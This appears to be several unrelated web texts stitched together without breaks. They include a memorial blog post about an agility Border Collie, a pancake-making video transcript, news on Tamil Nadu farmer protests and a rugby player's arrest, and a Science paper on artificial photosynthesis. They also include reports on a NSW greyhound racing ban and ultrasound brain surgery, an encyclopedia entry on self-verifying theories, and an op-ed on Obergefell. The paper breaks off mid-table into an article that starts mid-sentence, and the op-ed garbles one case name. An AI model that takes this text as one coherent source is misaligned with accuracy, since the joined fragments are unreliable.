The most painful day as a dog owner isn’t the pain of embarrassment when our agility dog knocks just about every bar on a jumpers course, nor is it having to come up with the cash to pay a rather large and unexpected veterinarian bill. I think each of you who owns a dog knows the most painful day I am referring to...
Today John and I said our final good byes to our amazing Border Collie “Buzzy.” Yes at close to 18 years old Buzz and I have shared a lot of experiences…more than 1/3 of the time I have been on the planet Buzz has been here with me. But even when you can clearly see the heart break heading towards you… it doesn’t lessen the pain that it brings when it finally hits.
As suggested above, his life was an “amazing ride” and he lived every thrill with zest right up to the end.
Throughout his entire long life Buzzy’s eyes remained remarkably clear … as if giving everyone he met an open window to his soul. That was Buzz.
He was never sick a day in his life. Would never miss out on a daily walk (even this morning we shared a short jaunt together) and Buzz never missed a meal … right up until last week. This past weekend he was very clearly letting me know, no food could tempt him to stay…he was ready to move on, ready to see what Stoni, Shelby and Twister were up to :). So I let Buzz go early this afternoon. Such a blessing to have kind hearted veterinarians at times like these, who will step away from their busy “heart worm” season to come to our house and allow Buzzy pass with ease and grace. I am so grateful to Dr. Kelly Ciggar and Tammy Frank for being here for Buzz and I.
I could use this blog post to brag about all of Buzzy’s accomplishments and tell you how amazing he was to live with and partner with in agility. But I’m sure many of you have already read Buzz’s story in my book “Shaping Shaping.”
I thought instead, I would share with you what I consider the five most powerful lessons Buzz taught me as a dog trainer. Of course there were LOADS of lessons. Buzz came to me during a massive transition period in my dog training. For the 4 years prior to Buzz, I had been “experimenting” with “clicker training” mixing it with the mild punishment I was routinely using in my training at that time (in the early ‘90s).
Buzz changed all of that.
With Buzz I attempted to walk the road of true reinforcement based training. For the first few months together I attempted to train with only reinforcement, not even using “time outs” or any negative punishment in my training. It only took a few months before I knew I need something to help me with his amazing energy so enter the use of a head halter and mild negative reinforcement... I am happy to say even through the struggles, I didn’t feel the need to go back to using “positive punishment” in my training. Today I realize that my frustrations early on with Buzz were due to what was lacking in me… in my mechanics and my understanding of how to be a reinforcement based dog trainer.
Buzz and I were in unchartered waters. Although operant and classical conditioning were not new, their application in competition dog training certainly wasn’t widely accepted back in the mid 90s. There was virtually no one having success with it in the world of dog agility, so I had to look to other areas of the animal training world.
With mentors like Bob and Marion Bailey, Buzz and I made our way and through it all, I grew exponentially in my understanding. Here are what I am selecting as the five most powerful lessons I learned from my life with Buzz.
LESSON NUMBER ONE:
The answer to every challenge is REINFORCEMENT. Look to the kind you are using, the way you are delivering it, the alternative ways the dog is obtaining it and your strategic use of all of the resources you have that the dog finds reinforcing. If you are thinking your training needs punishment because you aren’t getting the results you expect... re-think your strategy. It is very likely your training plan is flawed … reinforcement is the answer to your struggles.
LESSON NUMBER TWO:
If you are are “okay” with using negative punishment in your training because you have been told “time outs” are innocuous to our dogs... see lesson number one. Time outs are a crutch that we all use when we don’t know what else to do. Buzz took all of my crappy training in stride. The only stress he ever showed was spiralling higher in his drive to please. For years he was patient with my lack of understanding. My current dogs today are the great benefactors of Buzz’s tolerance during those early years in my reinforcement based training journey. My youngest dog Swagger, is a lot like Buzz in his drive for work. Buzz’s life with me is what made it possibly for me to have the amazing relationship I have with Swagger today.
I am not saying there is NO need for negative punishment anywhere in training, but I have a strong suspicion we may be able to get it down to a VERY mild form (like just a mild ‘response cost’ or withholding rewards while waiting for something better). Today, any time I give Swagger a “time out” I have visions of Buzz. Buzzy is there to remind me “you may have missed something in your training and that is why you are now giving this dog a time out.” Thank you Buzz.
LESSON NUMBER THREE:
Learn from your past but don’t be afraid to experiment while moving into your future. Buzz opened my eyes to the fact that we need to continue to look further away from “what worked with my last dog.” Not saying that we should discard everything we learned in the past, just that our history or past success in dog training shouldn’t pre-determine the future choices we will make for every dog going forward.
Buzz was the dog that got me started on this path.
LESSON NUMBER FOUR:
Your dog will be your greatest teacher if you allow him to be.
Funny thing, it wasn’t just my years training Buzz for competition that I was learning from him. As strange as it may seem, the learning became more powerful long after Buzz was retired. Kind of like when our dogs are failing at something over and over and we take a week or two away from training THAT behaviour …then suddenly everything seems more clear to the dog. My life with Buzz has been like that. The further away from “formal” training him I got, the clearer the lessons he taught me became.
LESSON NUMBER FIVE:
My last powerful lesson I learned from Buzzy is that growth requires vulnerability. None of us is expected to “know it all,” so drop the front and accept that you are only human. We need to allow ourselves the luxury of admitting that we “may be incorrect.” If we get stuck on what we think we know, we can fall victim to believing our dog isn’t learning because of something that is different or wrong with HIM rather than something missing in US. Without vulnerability as a dog trainer, it becomes impossible to have any major break through with our own understanding. We become that trainer that does the same thing with every dog, complains about the same shortcomings without considering that the solution is through YOU the trainer and not with the dog! When you label your dog as “stubborn” or “stupid” or a “bar knocker,” you have instantly limited their potential… the dog’s future has been defined.
Be vulnerable. Consider yourself as the source of your dog’s struggles, that you have challenges that require more knowledge. That should spark a hunger for education, for better mechanics or for more clarity in your choices for your dog.
When you get to that vulnerable place as a dog trainer, it opens up the endless possibilities for every dog each of us will ever own in the future... just like Buzz has done for Swagger and I... and each of my dogs I will ever own for the rest of my life.
Today I am so very grateful for the opportunity to have owned, loved and learned from such a very special dog. I miss you already Boo Boo boy.
Cedar’s High On Emotion aka “Buzz”
Sept 20 1996 – April 22 2014Transcript
Hi, I’m Liv Hansen for howdini.com and Betty Crocker Kitchens. I’m here with Lyle, Quentin, and Perry, and I’m going to show you how easy and fun it can be to make special pancakes with your kids for breakfast, which is a great idea for a slumber party, or even for Mother’s Day or Father’s Day. Now, traditionally you would just ladle your batter right onto the griddle. But I have a great trick. I poured my batter into a squeeze bottle. This’ll give you a lot of control for making small shapes. I’ve pre-greased my griddle with a little cooking spray. Just make sure you do it when the griddle is not hot. So I’m going to start. I’m going to make some X’s and O’s, and some fun shapes. Little hugs and kisses. But feel free to do any letter. Maybe the initials of your kids. I’m going to squeeze the bottle, and just make my shape. X…O….X.
If you want them to look like round pancakes, you can actually make the letter, let it set a little bit on the griddle until bubbles form, and the ladle over a little bit more batter. Another option is just to use that squeeze bottle, and make that circular shape over it.
Okay, so we’re ready to flip the pancakes. So remove the pancakes when the bottoms are brown. You can actually peek a little bit, lift it up and see. I think these are ready.
Now I’m going to show you another fun pancake. How about a pig pancake, guys? Anybody want one?
Sure.
Yeah.
Yeah.
Great. Okay, so this one’s pretty easy. I’m going to use my squirt bottle again. To make one pig, you’ll need two small ovals or circles, and one large one. I’m going to make two pigs. Let’s flip them. If you’re working on a non-stick griddle, it's important to use a plastic spatula. That way, you don’t scratch the surface.
So now it's time to assemble our pig. Take of the small ones, place it on your plate, and cut it in half. This is going to be the ears. Take the large one and place it over, and then another small one for the snout. Now to decorate, you can use chocolate chips or blueberries. I’m going to use both. Blueberries for the snout, and chocolate chips for the eyes. And there’s your pig.
Who wants a pig?
Me!
I do, too!
Okay, let’s start over here. You’ll get a little pig. And let’s finish this one. And there you go. Let me drizzle a little bit over your pig. Dig in, kids!
A great way to top off these delicious pancakes is with a dollop of whipped cream and some fresh strawberries. I’m Liv Hansen for howdini.com and Betty Crocker Kitchens.TN farmers drink urine, consume faeces: How long PM Modi could ignore the protest?
India
oi-Oneindia
By Oneindia Staff Writer
New Delhi, April 22: On Saturday, media reports stated that the agitating farmers from Tamil Nadu at Jantar Mantar in the national capital drank urine and consumed faeces in desperation after they failed to hear from the Centre in spite of protesting for 40 days since March 14.
Newspaper and television cameramen captured the images of TN farmers drinking urine from bottles. These images clearly sent chills down the spines of the nation. However, the Centre is yet to respond to the farmers.
The main demands of the farmers are loan waiver and drought relief funds. Since last year, the southern state is facing a severe drought that has led to the destruction of a large amount of crops and farmers had no option but to leave their homes and hearths to travel to the national capital and stage a protest. According to reports, since October last year, every day two farmers are committing suicide in TN.
Around 80-odd farmers dressed in green dhotis came to Delhi on March 14. Since then they are protesting and have tried various antics and tricks to attract the attention of the Narendra Modi government towards their plight.
Recently, three TN farmers staged a nude protest in front of the Prime Minister Office. Several of them were seen getting beaten up by a man wearing a Modi mask during one of their protests. We wonder what would be the next step of these farmers if the Centre still doesn't send any representative to talk to them.
OneIndia NewsRULE number one when playing professional sport: always listen to the coach. Well, maybe it’s time to change rule number one to: don’t crash a car into a wall.
Former NRL player Tim Smith, now playing in the English Super League, is alleged to have done just that.
It was reported that Smith, along with Kevin Locke and Reece Lyne, were left out of Wakefield’s 19-man squad to face Halifax on Saturday for disciplinary reasons. Ex-Parramatta Eels halfback Smith was dropped after police charged him with failing to provide a sample for analysis and driving without due care and attention while in Hull during the week. Former Warriors fullback Locke and outside-back Lyne are not facing police action, but were reportedly with Smith at the time.
The club released a statement saying: “A full investigation has been launched and the club are co-operating fully with Humberside Police, the RFL and RL Cares in this matter”.
Tim Smith in his Parramatta days. Source: News Limited
Rugby league has an unfortunate reputation when it comes to players’ off-field behaviour. There was Todd Carney urinating in his own mouth, Nate Myles defecating in a hotel stairwell and Joel Monaghan simulating a sex act with a dog — to name just a few.
A gun playmaker at his best and former NRL Rookie of the Year, Smith’s NRL career was derailed by a series of off-field incidents. There were accusations of public violence in 2005 and public drunkenness in 2007, leading to his suspension by the Eels. He went to a rehabilitation clinic and in early 2008 revealed he suffered from bipolar disorder.
He signed with Wigan later that year before returning to Australia to play for the Broncos in 2010, but never rediscovered his best form.
He went to Wakefield in 2012 and has remained in the Super League.Artificial photosynthesis steps up Photosynthesis fixes CO 2 from the air by using sunlight. Industrial mimics of photosynthesis seek to convert CO 2 directly into biomass, fuels, or other useful products. Improving on a previous artificial photosynthesis design, Liu et al. combined the hydrogen-oxidizing bacterium Raistonia eutropha with a cobalt-phosphorus water-splitting catalyst. This biocompatible self-healing electrode circumvented the toxicity challenges of previous designs and allowed it to operate aerobically. When combined with solar photovoltaic cells, solar-to-chemical conversion rates should become nearly an order of magnitude more efficient than natural photosynthesis. Science, this issue p. 1210
Abstract Artificial photosynthetic systems can store solar energy and chemically reduce CO 2. We developed a hybrid water splitting–biosynthetic system based on a biocompatible Earth-abundant inorganic catalyst system to split water into molecular hydrogen and oxygen (H 2 and O 2 ) at low driving voltages. When grown in contact with these catalysts, Ralstonia eutropha consumed the produced H 2 to synthesize biomass and fuels or chemical products from low CO 2 concentration in the presence of O 2. This scalable system has a CO 2 reduction energy efficiency of ~50% when producing bacterial biomass and liquid fusel alcohols, scrubbing 180 grams of CO 2 per kilowatt-hour of electricity. Coupling this hybrid device to existing photovoltaic systems would yield a CO 2 reduction energy efficiency of ~10%, exceeding that of natural photosynthetic systems.
Sunlight and its renewable counterparts are abundant energy sources for a sustainable society (1, 2). Photosynthetic organisms harness solar radiation to build energy-rich organic molecules from water and CO 2. Numerous energy conversion bottlenecks in natural systems limit the overall efficiency of photosynthesis (3). Most plants do not exceed 1%, and microalgae grown in bioreactors do not exceed 3%; however, efficiencies of 4% for plants and 5 to 7% for microalgae in bubble bioreactors may be achieved in the rapid (short-term) growth phase (3). Artificial photosynthetic solar-to-fuels cycles may occur at higher intrinsic efficiencies (4–7), but they typically terminate at hydrogen (8), with no process installed to complete the cycle via carbon fixation. This limitation may be overcome by interfacing H 2 -oxidizing autotrophic microorganisms to electrodes that generate hydrogen or reducing equivalents directly (9–14).
We recently developed a hybrid inorganic-biological system that uses the catalysts of the artificial leaf (15, 16) in combination with the bacterium Ralstonia eutropha (17) to drive an artificial photosynthetic process for carbon fixation into biomass and liquid fuels (18). In this system, water is split to oxygen by a cobalt phosphate (CoP i ) catalyst and hydrogen is produced by a NiMoZn alloy at applied voltages of E appl = 3.0 V. Because the maximum energy efficiency is limited by the value of E appl relative to the thermodynamic potential for water splitting (= E appl /1.23 V), a reduction in E appl leads to biomass and liquid fuel efficiencies that surpass those of previous integrated bioelectrochemical systems and are commensurate with natural photosynthetic yields (18). However, reactive oxygen species (ROS) produced at the cathode were detrimental to cell growth. Because hydrogen peroxide (H 2 O 2 ), as well as short-lived superoxide (O 2 ⦁–) and hydroxyl radical (HO⦁) species, are thermodynamically favored against H 2 production at pH = 7, ROS production dominated at or below the potential to generate H 2. When E appl reached a sufficient overpotential to drive water splitting, H 2 production to support cell growth outweighed the toxic effects of ROS (18). In addition, leaching of Ni from the NiMoZn alloy into solution inhibited microbial growth.
To develop a biocompatible catalyst system that is not toxic to the bacterium and lowers the overpotential for water splitting, we used a ROS-resistant cobalt-phosphorus (Co-P) alloy cathode (Fig. 1A, pathway 1). This alloy drives the hydrogen evolution reaction (HER) while the self-healing CoP i anode (19, 20) drives the oxygen evolution reaction (OER). The electrode pair works in concert to maintain extraneous cobalt ions at low concentration and to deliver low E appl that splits water to generate H 2 for R. eutropha, which supports CO 2 reduction into complex organic molecules at high efficiency. The Co-P alloy, which is known to promote HER under alkaline solutions (21), exhibits high HER activity in water at neutral pH with minimal ROS production. X-ray photoelectron spectroscopy of Co-P thin films supports the elemental nature of the alloy (fig. S1), and energy-dispersive x-ray spectroscopy (fig. S2) establishes a phosphorus composition of 6 weight percent, which we have found to exhibit optimal HER activity in water at neutral pH with a faradaic efficiency of 99 ± 2% (fig. S3). Moreover, the activity of this Co-P alloy surpasses the activity of the Earth-abundant NiMoZn and stainless steel (SS) cathodes used previously (18) (Fig. 1B). At constant voltage, a stable HER current is maintained for at least 16 days (Fig. 1C). Negligible H 2 O 2 is produced during HER (Fig. 1D), in contrast to that of simple metallic cathodes of Pt and SS.
Fig. 1 Active water-splitting catalyst pair with minimal biological toxicity. (A) Reaction diagram and scanning electron microscopy images for Co-P alloy cathode and CoP i anode. The main water-splitting reaction is shown in black; the side reactions that yield toxicants are in red. Scale bars, 10 μm. (B) Current-voltage (I-V) characteristics of different HER catalysts (10 mV/s). (C) Stability of Co-P cathode, as demonstrated by 16-day chronoamperometry. (D) Assay of H 2 O 2 accumulation for various cathodes combining with CoP i anode: yellow, Pt; blue, stainless steel (SS); red, Co-P alloy. E appl = 2.2 V. Error bars denote SEM; n = 3. (E) Cyclic voltammetry of Co2+ and Ni2+ in the presence of phosphate (P i ). Metal concentrations are both 0.5 mM; 50 mV/s. The current for Ni2+ is magnified by a factor of 50.
The Co-P HER and CoP i OER catalysts work in synergy to form a biocompatible water-splitting system that salvages Co2+ cations leached from the electrodes (Fig. 1A, pathway 2). In the cyclic voltammogram of Co2+ in the phosphate buffer (pH = 7) (Fig. 1E), a pre-wave to the catalytic water-splitting current corresponds to the oxidation of Co2+ to Co3+, which drives deposition of the catalyst. The CoP i catalyst is also known to exhibit a deposition rate that is linearly proportional to Co2+ concentration (22). The self-healing property of CoP i is derived from this interplay of the potential at which OER occurs versus the potential at which the catalyst deposits (20). In concert, the Co-P and CoP i catalysts preserve extremely low concentrations of Co2+ in solution through activity derived from the self-healing process. Inductively coupled plasma mass spectrometry (ICP-MS) analysis of a Co-P|CoP i catalyst system (E appl = 2.2 V) (23) reveals submicromolar levels of Co2+ in solution after 24 hours. This concentration of Co2+ (0.32 ± 0.06 μM) is well below the concentration of Co2+ (half-maximal inhibitory concentration IC 50 ≈ 25 μM) that is toxic to R. eutropha (fig. S4). When diffusion between the two electrodes is impeded by a porous glass frit, Co2+ concentrations rise to ~50 μM. We note that for the NiMoZn cathode, Ni2+ concentrations are not regulated by self-healing, as NiP i cannot form from P i (24), and the deposition to NiO x occurs at >1.5 V versus normal hydrogen electrode (NHE) (Fig. 1E; see fig. S5 for comparison with potentials of relevant redox processes).
Interfacing the biocompatible Co-P|CoP i water-splitting catalysts with R. eutropha results in a system capable of CO 2 fixation. The CoP i catalyst was deposited on a high–surface area carbon cloth as the electrode support (Fig. 1A and fig. S6), resulting in high currents (fig. S7) and a faradaic efficiency of 96 ± 4% (fig. S8). CO 2 reduction proceeded under a constant voltage within a batch reactor (fig. S9), which was half-filled with a solution containing only inorganic salts (mostly phosphate) and trace metal supplements (23).
The CoP i |Co-P|R. eutropha hybrid system can store more than half its input energy as products of CO 2 fixation at low E appl (Fig. 2A and table S1). Entries 1, |
1 next year, was proposed following revelations of live baiting and a report from a special commission of inquiry.
Mass graves containing racing greyhounds were also discovered.
Mr Baird told Parliament that with responsibility came criticism.
"Some claim that this decision has been taken hastily and without consultation but the very opposite is true," he said.
"When the shocking Four Corners story on this emerged more than a year ago our response was not to make any knee-jerk decisions. Rather, it was to undertake the most detailed inquiry ever conducted into greyhound racing in Australia, led by a former High Court judge.
"We have a responsibility to make decisions for the people of New South Wales that are based on the facts, however difficult they may be."
Ban will lead to more dead dogs, Foley warns
Opposition Leader Luke Foley said the ban would lead to the deaths of thousands of healthy greyhounds in NSW.
"If the Government gets away with this, with legislation to outlaw and criminalise a sport, an industry, a way of life in this country, they can do it to any of you," Mr Foley said.
"It will have a devastating effect on thousands of decent and law-abiding citizens in this state," he said.
Ms Hodgkinson said she could not support a decision which she believed would result in the loss of thousands of full-time and part-time jobs in NSW.
"I take this tough decision today not to vote with Labor, but I have to oppose this legislation on behalf of my electorate, on behalf of those who are sick and depressed by this proposed ban and who feel they have no voice," she said.
Topics: racing, state-parliament, federal---state-issues, government-and-politics, sport, nsw
First posted(Keystone)
Not many patients can imagine having a glass of champagne with their surgeons straight after brain surgery but that is exactly what is happening at a Zurich hospital.
Swiss doctors have successfully carried out the world's first non-invasive brain surgery with use of high-intensity focused ultrasound (HIFU).
Ten adult patients, who were awake during the revolutionary painless procedure, have been treated at University Children's Hospital Zurich since September 2008 as part of a clinical study. The results were published this week.
All interventions were completed successfully and without complications under the direction of professors Daniel Jeanmonod and Ernst Martin.
"This fully non-invasive procedure opens new horizons for neurosurgery and the treatment of different neurological brain disorders," Ernst Martin, director of the hospital's Magnetic Resonance Centre told swissinfo.ch.
The list of diseases and conditions which could be treated with this safe and effective technique includes Parkinson's, Alzheimer's, epilepsy, brain tumour and stroke.
Projected pain
Martin and Jeanmonod have been working on patients with neuropathic pain due to functional brain disorders. Specifically, they are people who experienced pain in amputated or paralysed parts of the body.
"The origin of the pain does not exist anymore but the brain projects the pain so that is why we operate on the brain," Martin explained. The patients have all remained pain-free since their operations.
HIFU has been used for some years in the treatment of uterine fibroids and tumours of the prostate gland. The ultrasound beams heat up the problem area, creating a lesion and rendering it inactive.
This is the first time that the technique has been applied to the brain through the intact skull for non-invasive neurosurgery.
Breakthrough
"A major breakthrough was the MR guidance – that is image guidance of the operative process by magnetic resonance imaging and also magnetic resonance thermometry, where we get thermo maps and can see exactly the temperature development at the spot where we operate," Martin explained.
It is common knowledge that ultrasound does not go through the skull because bone absorbs the waves. But Martin, Jeanmonod and their team managed to overcome this obstacle by creating a helmet-like hemisphere with 1,024 transducers, which can each be individually set, beaming separately into the skull.
The benefits are enormous. "We avoid the risk of bleeding, we do not harm anything on the brain, there is no intervention on the brain other than the focal spot and we have no risk of infection."
Each beaming session lasts ten to 20 seconds with breaks of several minutes in between, building up the temperature step by step.
Towards the end some patients experienced vertigo, light headedness or stinging sensations but only during the beaming sessions. The whole procedure lasts several hours and the patient is awake and fully conscious throughout.
New horizons
The Zurich breakthrough opens up a wide field of potential applications for HIFU brain surgery.
Various groups, mainly in North America, are close to beginning other HIFU surgery clinical trials on humans for a range of diseases and conditions, including brain tumours, stroke and neuro-degenerative diseases such as Alzheimers.
Meanwhile the Zurich team will carry on with clinical trials on pain disorders, but also move on in the coming months to movement disorders, including tremor and Parkinson's as well as epilepsy.
Clare O'Dea, swissinfo.ch
MR-guided HIFU Magnetic resonance guided high-intensity focused ultrasound (MRgHIFU) has been successfully used for some years for non-invasive surgery in gynaecology and urology.
This technically complex procedure focuses a large number of ultrasound beams onto a small target of a few millimeters in diameter inside the human body.
The energy of each individual ultrasound beam does not cause measurable heating when crossing the tissue inside the body but at the target a focal temperature increase can be produced, which is sufficient to ablate (surgically remove) the tissue through coagulation.
The combination of HIFU and MR imaging allows exact planning of the target area, visualization of the whole procedure, as well as precise monitoring of the temperature development throughout the procedure. end of infobox
NCCR Co-Me The pioneering Swiss ultrasound-based brain surgery is a project of the National Centre of Competence in Research (NCCR) Co-Me.
NCCR Co-Me is a network of about 30 leading clinics and engineering sites in Switzerland with strong links to industry and international partners.
The leading house is the Swiss Federal Institute of Technology Zurich. The aim of the NCCR Co-Me is to take advantage of computer technologies to improve patient care. end of infobox
Neuer Inhalt Horizontal Line
SWI swissinfo.ch on Instagram SWI swissinfo.ch on InstagramSelf-verifying theories are consistent first-order systems of arithmetic much weaker than Peano arithmetic that are capable of proving their own consistency. Dan Willard was the first to investigate their properties, and he has described a family of such systems. According to Gödel's incompleteness theorem, these systems cannot contain the theory of Peano arithmetic, and in fact, not even its weak fragment Robinson arithmetic; nonetheless, they can contain strong theorems.
In outline, the key to Willard's construction of his system is to formalise enough of the Gödel machinery to talk about provability internally without being able to formalise diagonalisation. Diagonalisation depends upon being able to prove that multiplication is a total function (and in the earlier versions of the result, addition also). Addition and multiplication are not function symbols of Willard's language; instead, subtraction and division are, with the addition and multiplication predicates being defined in terms of these. Here, one cannot prove the Π 2 0 {\displaystyle \Pi _{2}^{0}} sentence expressing totality of multiplication:
( ∀ x, y ) ( ∃ z ) m u l t i p l y ( x, y, z ). {\displaystyle (\forall x,y)\ (\exists z)\ {\rm {multiply}}(x,y,z).}
where m u l t i p l y {\displaystyle {\rm {multiply}}} is the three-place predicate which stands for z / y = x {\displaystyle z/y=x}. When the operations are expressed in this way, provability of a given sentence can be encoded as an arithmetic sentence describing termination of an analytic tableau. Provability of consistency can then simply be added as an axiom. The resulting system can be proven consistent by means of a relative consistency argument with respect to ordinary arithmetic.
We can add any true Π 1 0 {\displaystyle \Pi _{1}^{0}} sentence of arithmetic to the theory and still remain consistent.
References [ edit ]
Solovay, R., 1989. "Injecting Inconsistencies into Models of PA". Annals of Pure and Applied Logic 44(1-2): 101—132.
Willard, D., 2001. "Self Verifying Axiom Systems, the Incompleteness Theorem and the Tangibility Reflection Principle". Journal of Symbolic Logic 66:536—596.
Willard, D., 2002. "How to Extend the Semantic Tableaux and Cut-Free Versions of the Second Incompleteness Theorem to Robinson's Arithmetic Q". Journal of Symbolic Logic 67:465—496.It doesn’t take a weatherman to tell which way public opinion blows. The huge uptick of support for same-sex marriage has been described as swift and broad, to which we can add, in all likelihood, lasting.
In my view, every time the defenders of the traditional view of marriage speak in public on behalf of a ban, they lose the support of neutral third parties. The problem is that they are trying to tell other people how they should lead their own lives, and are using the power of the state to do it. Their justifications are far from compelling. They talk about the need for procreation in marriage, though many straight married couples use contraceptives. They talk about the risks to parenting, when there is no evidence that suggests that gay and lesbian couples are worse parents, especially when compared to dysfunctional couples in traditional marriages or single parents of limited financial means. Their arguments against same-sex marriage thus fall flat to modern ears, so that the basic support for same-sex marriage only grows.
The transformation of public opinion dovetails nicely with the recent Supreme Court decision in Obergefell v. Hodges, in which Justice Anthony Kennedy’s Olympian opinion echoed the social tidal wave in favor of same-sex marriage. Kennedy did not bother to articulate what standard of scrutiny, high or low, controls the case. In his mind, the case for an inclusive definition of marriage is so strong that the ban on same-sex marriage cannot survive under any standard of review. Analytically, however, he provided only weak answers to an even more fundamental question: What judgments should be left to democratic processes and what judgments should be insulated against majoritarian politics?
This problem has special urgency here because of the unbroken historical record that defines marriage as a union between a man and a woman. Justinian’s Institutes of the sixth century AD, for example, apply the rules of marriage only to human beings, but treat them as part of “that law which nature teaches to all animals.” That code of law states: “Marriage, or matrimony, is a binding together of a man and woman to live in an indivisible union.”
The best way to go is to try to understand why the traditional definition of marriage was universal. The defenders of traditional marriage claim that the purpose of marriage is procreation, which is impossible with same-sex couples.
The defense of the traditional understanding of marriage that was raised forcefully by Judge Jeffrey Sutton in the Sixth Circuit (and picked up by Chief Justice John Roberts in his pointed dissent in Obergefell) raises the question of how can the Court read the Constitution to invalidate the universal definition of marriage as between a man and a woman? Tradition is a legitimate ground on which to defend social legislation elsewhere, so why not here?
The best way to go is to try to understand why the traditional definition of marriage was universal. The defenders of traditional marriage claim that the purpose of marriage is procreation, which is impossible with same-sex couples. Kennedy denies that there is any good fit between marriage and procreation: After all, many men and women wish to marry when they do not or cannot have children, so the state could never condition a marriage license on couple’s commitment to have children.
Nonetheless, this response underestimates the role of procreation in defining marriage. Historically, procreation was widely regarded as the essential purpose of marriage. Indeed, the words in Genesis 1:28, “be fruitful and multiply and fill the earth and subdue it,” read as much like a command as a blessing. Within this framework, same-sex relationships are different: They can never add offspring to society, but they can reduce them by taking both men and women out of the reproductive market, and thus undercut that social imperative. The preservation of society through reproduction is strongly tied to traditional marriage, but not to same-sex marriage. So why condemn the traditional view as arbitrary when it tends to advance a desirable societal end?
Historically, this point found a constitutional home. Even though the traditional “morals” head of the police power is nowhere mentioned, it had long been used to give the state extraordinary leeway in regulating all sorts of sexual relations, as was detailed in Justice Byron White’s now-widely-reviled 1986 opinion in Bowers v. Hardwick, whose historical accuracy remains unquestioned. As late as 1961, all 50 states outlawed all forms of sodomy, even though many bans fell into desuetude. But throughout it all, no one, anywhere, has suggested that it would fall in the power of the state to abolish the traditional institution of marriage altogether. The overall consequences for child rearing would be disastrous.
It is fair to respond, as Kennedy does, that the advocates of same-sex marriage do not wish to ban marriage but to partake in it, so that there is nothing to fear from the decision except the fuzzy sentiments of individuals opposed to the practice. That is a good reason to ask the legislature to change the definition. But it is less clear that it is a good reason to allow courts to preempt the democratic process. On this point, the Kennedy response is to say that there has already been “far more deliberation” than the Sutton opinion acknowledges in every conceivable forum. In Kennedy’s view, the endless discussion has led to an “enhanced understanding” of the issue—namely his—which displaces the vote as a way to resolve the debate. The dignitary interests of these couples is so strong that it is “demeaning to lock same-sex couples” out of marriage.
Yet at no point does he ask whether the criminalization of polygamous marriages under the Supreme Court’s 1878 decision in Reynolds v. United States—an uncommonly ugly invocation of the morals head of the police power—should be overturned given how it demeans and punishes polygamous families. His blinkered view of autonomy lets him attack the restriction of marriage to persons of opposite sexes, but not its limitation to two people.
The Scalia dissent scores big points in attacking Kennedy for judicial hubris, by insisting that the whole point of democracy is not just to inform the justices but to let the people decide on the issue. So Kennedy, like everyone else, must explain why a nationally consequential decision on same-sex marriage should be taken out of the democratic process. His answer is that it involves the assertion of a “fundamental right,” a term that he nowhere defines. Thus, when the fundamental rights of persons are violated, “the Constitution,” he writes, “requires redress by the courts, notwithstanding the more general value of democratic decisionmaking.”
At this point, his analysis turns wobbly. Kennedy eagerly talks about the “dignity” of the individual in two-person marriages. And he lauds the Court’s 1967 decision in Loving v. Virginia for striking down the ban of interracial marriage between a man and a woman, on the combined strength of the Due Process and the Equal Protection Clauses of the Fourteenth Amendment. The libertarian foundations of Loving are also evident.
But why stop there when the concept of liberty goes a lot further? In particular, Kennedy never explains why his notions of dignity and autonomy do not require the Supreme Court to revisit its 1878 decision in Reynolds upholding criminal punishment for polygamy, which is still on the books. Nor does he ask whether the dignity of workers could, and should, be used as a reason to strike down the full range of labor regulations on both wages and hours that make it flatly illegal for two individuals to enter into a simple employment contract on mutually agreeable terms.
To his credit, Chief Justice Roberts—no libertarian—sees the connection, and thus uses his condemnation of the 1905 Supreme Court decision, Lochner v. New York, for striking down a maximum hours law, as a cudgel to explain why the Constitution has nothing to say about same-sex marriage. Unfortunately, Roberts lurches too far in the opposite direction. Historically, the case for economic liberties is far stronger than that for same-sex marriage because labor never got entangled with the morals head of the police power. Indeed, much recent scholarship, especially by David Bernstein, shows the dubious special interest, anticompetitive politics that Lochner helped thwart. It would be a lot easier to accept the Kennedy position if he were prepared to embrace a concept of liberty for all by overturning Reynolds and restoring Lochner. But on those areas, inexplicably he flips back to the democratic side, without ever defining the state interest in squashing the operation of competitive labor markets.
It gets worse because in the wake of Obergefell, we have to ask what the next step in the struggle over same-sex marriage will be. By insisting that same-sex marriage is a fundamental right, Kennedy has consciously introduced an equivalence between race and sexual orientation. How far is he prepared to go? In the 1983 case of Bob Jones University v. United States, the Supreme Court upheld an IRS decision to deny tax-exempt status to schools engaging in racial discrimination. The Court acknowledged that it could not outlaw the Church’s practices, which were protected as a free exercise of religion. But the differential tax treatment was fine because “the Government has a fundamental, overriding interest in eradicating racial discrimination in education.”
Can the IRS now deny tax exemption to the Roman Catholic Church on the ground that it rejects, on religious grounds, same-sex marriage? If so, that judicial notion of “fundamental interests” works effortlessly both to expand and contract state power.
Can the IRS now deny tax exemption to the Roman Catholic Church on the ground that it rejects, on religious grounds, same-sex marriage? If so, that judicial notion of “fundamental interests” works effortlessly both to expand and contract state power. It can insulate the exercise of some liberties from state control, but allow other liberties to be burdened by differential treatment of other liberties, including those expressly embedded in the Constitution.
The point here is not idle speculation. Here are three data points. In Martinez v. Christian Legal Foundation (2010), a five-to-four majority with Justice Kennedy concurring, held that it was perfectly proper for Hastings Law School, a public institution, to deny the tiny Christian Legal Foundation the full benefit of school facilities largely because of its opposition to same-sex marriage. The government can offer its subsidies to some groups but not to others, and in so doing, force small isolated groups to subsidize powerful gay rights organizations. Religious intolerance best describes that outcome.
Since then, the situation has only gotten worse. Last year there was public outrage at the Supreme Court’s decision in Burwell v. Hobby Lobby, which upheld claims under the Religious Freedom Restoration Act that a closely held company did not have to supply contraceptives to its female employees in a fashion inconsistent with its owners’ religious beliefs. And more recently, claims for religious autonomy have been crushed in state court decisions that have fined individuals who have refused on religious grounds to make wedding cakes for same sex couples. No one seems to be concerned with the autonomy and dignity of those under the state’s thumb. They will have to abandon their chosen profession to honor their religious beliefs. I see no evidence that gay and lesbian rights advocates are prepared to back off of these statist claims.
The hard question is how Justice Kennedy—now the swing vote on all matters “fundamental”—thinks about this issue. Here the evidence is decidedly mixed. To be sure, his opinion in Obergefell talks about the importance of letting religions “teach” the central principles of their faith. But as Justice Thomas’s dissent points out, a religion that is allowed to teach its beliefs may be forced to give up its tax-exempt status if it puts those beliefs into practice, and its adherents can be hounded by the state if they decide to run their personal lives in accordance with their religion. We thus face a serious risk in the aftermath of Obergefell: liberty in gay rights will turn out to be a one-way street. Some liberties will be guaranteed for some people while other liberties will be squashed for others. As I write, the gay rights movement is gearing up to expand the scope of the antidiscrimination laws in housing and labor markets.
